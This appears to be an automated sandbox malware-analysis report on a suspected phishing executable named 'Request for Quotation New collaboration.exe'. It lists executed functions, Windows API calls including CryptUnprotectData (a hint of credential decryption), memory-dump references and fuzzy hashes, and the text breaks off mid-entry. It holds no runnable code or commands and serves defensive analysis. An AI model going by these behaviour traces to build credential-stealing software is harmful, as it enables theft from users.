Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-2743851969
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: e5431d3d33a146c3150d202dfaa2e9e12a1dec100281116c20088c3141bfb115
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C6D05EA2414920DED3226704DC44AAFA3ACEF113107894466F901E61A5D7785C808AFD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2037060970.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2037043192.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037076720.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2037093643.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000000.00000002.2030701040.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030684017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030718001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030732887.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030814980.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quotation New collaboration.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Analysis Process: Request for Quotation New collaboration.exePID: 2556, Parent PID: 2984COMMON

Execution Graph

Execution Coverage:	13%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.6%
Total number of Nodes:	229
Total number of Limit Nodes:	17

Executed Functions

Function 3845D478 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 48d1dab81f75475749b552b215642d9a89fd78c7ae3f0682c941247df7766912
Instruction ID: ac3548e53b252b70f60e9a8a4ee3bfa53514c35aa11dc8ae99949d843313a836
Opcode Fuzzy Hash: 48d1dab81f75475749b552b215642d9a89fd78c7ae3f0682c941247df7766912
Instruction Fuzzy Hash: AFF13974A00309DFEB04DFA9C844B9DBBF2BF88314F158569E409AB765DB74A946CF80

Function 351AB4C0 Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 351ABD25

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 8ee15e219ee94b2efd784ce31d963f9b175b0c2f492309aa8eca09d5c9c853df
Instruction ID: 33ed69151b2f580157d7ce1b60b80eeabbe4cc9e7f1fd84e7d53ec0787e5762e
Opcode Fuzzy Hash: 8ee15e219ee94b2efd784ce31d963f9b175b0c2f492309aa8eca09d5c9c853df
Instruction Fuzzy Hash: 4D1117768002899FDB21CF99C845BEFBBF4EB48320F148459E554A7210C379A550CFA5

Function 351ABCB8 Relevance: 1.6, APIs: 1, Instructions: 53
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 351ABD25

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: e4e5b73d9dfa2a42e605cc04ccc72f3b60b86a75fda9d3a5dfbd373d6dae3319
Instruction ID: ae5b7b331958da820b8e09824b3180edd9434830ec483143d5c82f6923d12a7f
Opcode Fuzzy Hash: e4e5b73d9dfa2a42e605cc04ccc72f3b60b86a75fda9d3a5dfbd373d6dae3319
Instruction Fuzzy Hash: 571126BA810289DFDB11CF99C941BEEBFF4EF48320F148419E568A7610C339A550DFA5

Function 37EE9568 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

8X75hX75, xrefs: 37EE95FB

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID: 8X75hX75
API String ID: 0-151516257
Opcode ID: 7b31b5bde16ec990c3534202ac63e58d9228d4d9eb53d7d265655931b89e454b
Instruction ID: e8fb62ecc62d5d5cddd3d78ac4a5e382585b0c645f065020a63f253309154b51
Opcode Fuzzy Hash: 7b31b5bde16ec990c3534202ac63e58d9228d4d9eb53d7d265655931b89e454b
Instruction Fuzzy Hash: 478113B4E00208CBEB04DFAAD9806DDBBF2BF89310F24852AD854BB355DB359946CF51

Function 3845E628 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 052728bdd520e9223fb3c80d470a9d3a91036db83075313a7369532af733e14f
Instruction ID: d7408c49833dbfaede3812005bc59bd7906c84cbb538f2d79c12b4ad4b321442
Opcode Fuzzy Hash: 052728bdd520e9223fb3c80d470a9d3a91036db83075313a7369532af733e14f
Instruction Fuzzy Hash: 8C829F74A01228CFDB25DF64C894B9DBBB2FF89300F1085A9D909A7364CB359E92DF54

Function 37EE98D0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ece5ca1be24c57ae29807ea854a15097b5b4500f189e4c4b89ffbf8e0ba9df
Instruction ID: 6960bfbcc8926be009a1c0550b64b0cfc456cf598480ef898ba41572546c5e84
Opcode Fuzzy Hash: d9ece5ca1be24c57ae29807ea854a15097b5b4500f189e4c4b89ffbf8e0ba9df
Instruction Fuzzy Hash: 1672A074A01228CFDB25DF64C894BADBBB2FF89300F1085A9D909A7364CB359E91DF54

Function 37EE6130 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 243232f1b60af965d3c090ead64494b543db305d26cc2118ce843e4f5897878c
Instruction ID: 6817308ed41cb137ed8a73b1f866b22cee853abfa14ab6d0f55b27a26c280352
Opcode Fuzzy Hash: 243232f1b60af965d3c090ead64494b543db305d26cc2118ce843e4f5897878c
Instruction Fuzzy Hash: D1729F74E012288FEB64DF69C984BDDBBB2BF49300F5085EAD409A7255DB35AE81CF50

Function 351AA928 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2835591179.00000000351A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 351A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_351a0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085681839d73eaacaa679a25e74b9a4c168e6e524f11c7caff2229c080808470
Instruction ID: 5b9ba7f02f36f724d212ac01502eeeb309a5b168ce700cabfd7c2cffc3c96466
Opcode Fuzzy Hash: 085681839d73eaacaa679a25e74b9a4c168e6e524f11c7caff2229c080808470
Instruction Fuzzy Hash: 4AE1A274E01218CFEB15DFA5C854B9DBBB2BF89300F1081A9D809BB395DB755A85CF14

Function 0015E6A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809354798.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c455f2c8f9c46389bfd6a5dfdc19a7b6ffd414de645127256af4589a729a2fe2
Instruction ID: 1f4102c3a8a1c895f150fd4a3380a646aa967f63ab3ab208319074b98bc47593
Opcode Fuzzy Hash: c455f2c8f9c46389bfd6a5dfdc19a7b6ffd414de645127256af4589a729a2fe2
Instruction Fuzzy Hash: 47C19274E00218CFEB14DFA5C994B9DBBB2BF88301F2081A9D819AB365DB355E85CF54

Function 37EE42A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec43950beb66d0246d2d6a081c68e8e37e36017b7fabd65a46090cae8bcff738
Instruction ID: 8fef0d254d73d9faaefb9ae65466f181f846080a481a4a3a6b5da2960d644264
Opcode Fuzzy Hash: ec43950beb66d0246d2d6a081c68e8e37e36017b7fabd65a46090cae8bcff738
Instruction Fuzzy Hash: 5DC19179E00218CFEB14DFA5C994B9DBBB2BF89300F1081A9D809AB365DB355E85CF54

Function 0015EC58 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809354798.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4db5805adbdda2f0521a412693ceebff247ef48eea2a80132b05be2f712e90c
Instruction ID: 7846deb60a7a4bc0844a7946cb2af0fdb4e215b642640a8b3d6aa57aa64d8fbb
Opcode Fuzzy Hash: d4db5805adbdda2f0521a412693ceebff247ef48eea2a80132b05be2f712e90c
Instruction Fuzzy Hash: 1DA10474D00208CFEB14DFA8C944BDDBBB1BF89315F20826AE419BB291DB759985CF54

Function 37EE77F0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6472d6853c03f9fe1dd930111f11aaca5c155781584d27ffd842ffbd542a8e8b
Instruction ID: 757b4bb76942cd189cd9c02b4d9208d35b778635d52952853ff5efeee237eaa3
Opcode Fuzzy Hash: 6472d6853c03f9fe1dd930111f11aaca5c155781584d27ffd842ffbd542a8e8b
Instruction Fuzzy Hash: D7A18FB5E012288FEB18CF6AD944B9DBBF2BF89300F14C5AAD40CA7255DB345A85CF51

Function 37EE7E40 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c192004f4dee039436b370c22cf1b05b24dfb1f3d1232632b63adec9ed9a8d8
Instruction ID: 18cb8dc8e359bf0ce9bb9d13de647f00b8aaecda7839245fcaa6dbc20de97628
Opcode Fuzzy Hash: 6c192004f4dee039436b370c22cf1b05b24dfb1f3d1232632b63adec9ed9a8d8
Instruction Fuzzy Hash: BAA19FB5E01228CFEB18CF6AD944B9DBBF2BF89300F14D5AAD408A7251DB345A85CF51

Function 37EE8490 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d35673ec4f50883fb842825dc08f103c11fffccafda994fdc0a749c0acda2ad
Instruction ID: eeca4dcdbefcf05413dbc815cb76fe7d1935b83e0d8ca14ce6f06f3f65d5f517
Opcode Fuzzy Hash: 6d35673ec4f50883fb842825dc08f103c11fffccafda994fdc0a749c0acda2ad
Instruction Fuzzy Hash: 85A190B4E012288FEB14CF6AC944B9EBBF2BF89300F14D5AAD408B7255DB345A85CF51

Function 37EE71A8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824028e9893b0f51f06a59e054e673d49e81d328541b6014ac07a84e35ff9e92
Instruction ID: 3c1c00f52922f9f557f8b7ed5e03003742cc5cc153030b90515d323a4983b68d
Opcode Fuzzy Hash: 824028e9893b0f51f06a59e054e673d49e81d328541b6014ac07a84e35ff9e92
Instruction Fuzzy Hash: 0DA1A2B4E012188FEB54CF6AD944B9DBBF2BF89300F14D5AAD408B7255DB345A85CF11

Function 0015EFAF Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2809354798.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dddf4ff5bd8f5cff5ff5625d3c3e19a3ef2a81b629a349b41870f129cc66eda
Instruction ID: ce3fdf819a600ffc2f8ad6a1ae2ee071fa34dbeddc5ac980aeb1e682e315e0fb
Opcode Fuzzy Hash: 9dddf4ff5bd8f5cff5ff5625d3c3e19a3ef2a81b629a349b41870f129cc66eda
Instruction Fuzzy Hash: 6F91E570D00208CFEB14DFA8C94879CBBF1FF49311F248269E859AB291DB759A85CF14

Function 37EE6121 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a5bad23dfd372eff62790bbe4683c6a15605a4c7438922ef4d72698794f4dd3
Instruction ID: 8b7b7ec7f7414a800076b0c6215e8edc732c3ccf2b3ecf9fb29feddeed7149d0
Opcode Fuzzy Hash: 5a5bad23dfd372eff62790bbe4683c6a15605a4c7438922ef4d72698794f4dd3
Instruction Fuzzy Hash: AC71B1B5D01628CFDB64CF66C9807DDBBB2BF89301F1094AAD409A7364DB349A86CF40

Function 37EE8481 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 596b945c43f3775f4c7a77273b1c7fbb931b325a9df3cf569ee21ea2545d3f1c
Instruction ID: 03cf94a489403a5af1e6e62bcf3a72f60abe6603b8c57e7864c850f27497066a
Opcode Fuzzy Hash: 596b945c43f3775f4c7a77273b1c7fbb931b325a9df3cf569ee21ea2545d3f1c
Instruction Fuzzy Hash: DD7183B5E006288FEB58CF6AC944B9DBBF2AF89300F14C5AAD40CB7255DB345A85CF51

Function 3845F176 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a99bb1e2233060dbbb82b7e746cb0a019a59d01a71c8ad750d150ab1bec47ed4
Instruction ID: 2fb9aa05a3491e0773485d02886a5c59624ce075aceabab5f39e090a2ed05971
Opcode Fuzzy Hash: a99bb1e2233060dbbb82b7e746cb0a019a59d01a71c8ad750d150ab1bec47ed4
Instruction Fuzzy Hash: BB61E934A00319CFEB25DF60C894BADBB72FF88700F1080A9990967765DA355D92EF58

Function 37EE77E0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07afc7b1da0fcf2bf3f57407f7d21dfd7ecc5429bf9081c4f611eb13498b48a8
Instruction ID: 65c96019af20a762e14cc0f8a4da0c6d6ea349dd7cc5e93c3e7b07c54cc005ba
Opcode Fuzzy Hash: 07afc7b1da0fcf2bf3f57407f7d21dfd7ecc5429bf9081c4f611eb13498b48a8
Instruction Fuzzy Hash: 884159B1E016188BEB58CF6BC9457C9FAF3AFC8310F04C1AAC50CA6264EB740A858F51

Function 37EE7E30 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 027c20ff092dd79c6ac102bda7b5cf61f3b70a91e54de501fc45413b789885ba
Instruction ID: 9b7b9e0744c8500436425d30522a1dcca3242e96894a335dad69b39e9ccce291
Opcode Fuzzy Hash: 027c20ff092dd79c6ac102bda7b5cf61f3b70a91e54de501fc45413b789885ba
Instruction Fuzzy Hash: 954159B1E016188BEB58CF6BD9457DAFAF3BFC8300F14C1AAC50CA6264DB740A858F50

Function 37EE4299 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2837241314.0000000037EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37ee0000_Request for Quotation New collaboration.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67a79a462f020adfc03fd9d9cfa551bc2c10c19fd0782f07b03dd53b151a8271
Instruction ID: 9a5537ab23d0aa84e75a3f6265ec4d2492ee600de091970c9c00aa398c9b6481
Opcode Fuzzy Hash: 67a79a462f020adfc03fd9d9cfa551bc2c10c19fd0782f07b03dd53b151a8271
Instruction Fuzzy Hash: 3741C2B5E00648CBEB18DFAAD9506DEBBF2AF89300F20D52AD414BB255DB345945CF50

Function 384505F9 Relevance: 6.1, APIs: 4, Instructions: 138
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 38450686
GetCurrentThread.KERNEL32 ref: 384506C3
GetCurrentProcess.KERNEL32 ref: 38450700
GetCurrentThreadId.KERNEL32 ref: 38450759

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a6f818eb6b186d0438db6ac76be8c03bbb3d25353907bee1ca3a099175972869
Instruction ID: f35e2d9c73703dbee7f7b2528d028a7662c84214b4860e4352a08096c43f85a0
Opcode Fuzzy Hash: a6f818eb6b186d0438db6ac76be8c03bbb3d25353907bee1ca3a099175972869
Instruction Fuzzy Hash: 355188B49003099FEB14CFAAC844BEEBBF1EF88320F208559E459AB361C7749945CF25

Function 38450608 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 38450686
GetCurrentThread.KERNEL32 ref: 384506C3
GetCurrentProcess.KERNEL32 ref: 38450700
GetCurrentThreadId.KERNEL32 ref: 38450759

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1fc8becaf9cf6ee710bc4759e8574029f9c72a450dcf6ade3d78d3384f636a83
Instruction ID: 9e0eb7b7a3833797c65cab45af4b6ecad0cae45d5e5dc06384f6cfa617bfa470
Opcode Fuzzy Hash: 1fc8becaf9cf6ee710bc4759e8574029f9c72a450dcf6ade3d78d3384f636a83
Instruction Fuzzy Hash: F55166B49003099FDB14CFAAC544BDEBBF1AF88320F208559E459B7361C774A944CF66

Function 0015FD76 Relevance: 1.6, APIs: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0015FEAA

Memory Dump Source

Source File: 00000005.00000002.2809354798.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3f40a17689fcc88ba2e27c074ec5839c9e7a75d1c7d75f3c67320950d931f401
Instruction ID: b53723a863e4d8880e44e9f2109323f04075bdb4d578e847d13f1bbf926166d3
Opcode Fuzzy Hash: 3f40a17689fcc88ba2e27c074ec5839c9e7a75d1c7d75f3c67320950d931f401
Instruction Fuzzy Hash: 0951C2B1D10248DFDB15CFAAD880ADEBFB1FF48310F25812AE818AB261D7719945CF91

Function 0015FD4F Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0015FEAA

Memory Dump Source

Source File: 00000005.00000002.2809354798.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7f915738e2486e255119b47bbb3d912f7095e0ff0e74e5e30a9317a72d4a858f
Instruction ID: 9d59523dcb396999a855a392792ceb77f9c9038a16f27189efc707fb67d2c558
Opcode Fuzzy Hash: 7f915738e2486e255119b47bbb3d912f7095e0ff0e74e5e30a9317a72d4a858f
Instruction Fuzzy Hash: 814117B1D10349DFDB15CF99D850ADEBFB1EF48310F25816AE818AB261D7719846CF90

Function 0015FD98 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0015FEAA

Memory Dump Source

Source File: 00000005.00000002.2809354798.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 3262b13e59d62c1e66a7cba1bbfdbdc0174fb9cf23a02adf29a730c2ef3674e0
Instruction ID: cef7641dbedbbe9fb205084c90c041282dd6edbde278fd3ce45ce55d88988db2
Opcode Fuzzy Hash: 3262b13e59d62c1e66a7cba1bbfdbdc0174fb9cf23a02adf29a730c2ef3674e0
Instruction Fuzzy Hash: 8641BFB1D10248DFDB14CF9AD884ADEBBB5BF48310F25812AE819AB250D7709885CF91

Function 384514E4 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 38451B21

Memory Dump Source

Source File: 00000005.00000002.2837563871.0000000038450000.00000040.00000800.00020000.00000000.sdmp, Offset: 38450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38450000_Request for Quotation New collaboration.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: fd5c3ae2508962e3de46a60ee94b536e69294b7311e1b10dca203649f2b74fc2
Instruction ID: bfc148266cff5e4dbb43b16dfa7a838abef2c32cc71c518e4b38ac70db7503dc
Opcode Fuzzy Hash: fd5c3ae2508962e3de46a60ee94b536e69294b7311e1b10dca203649f2b74fc2
Instruction Fuzzy Hash: 874129B8900305DFDB10CF99C484A9EBBF5FF88324F24C459E559AB721D774A841CBA0

Function 38450849 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

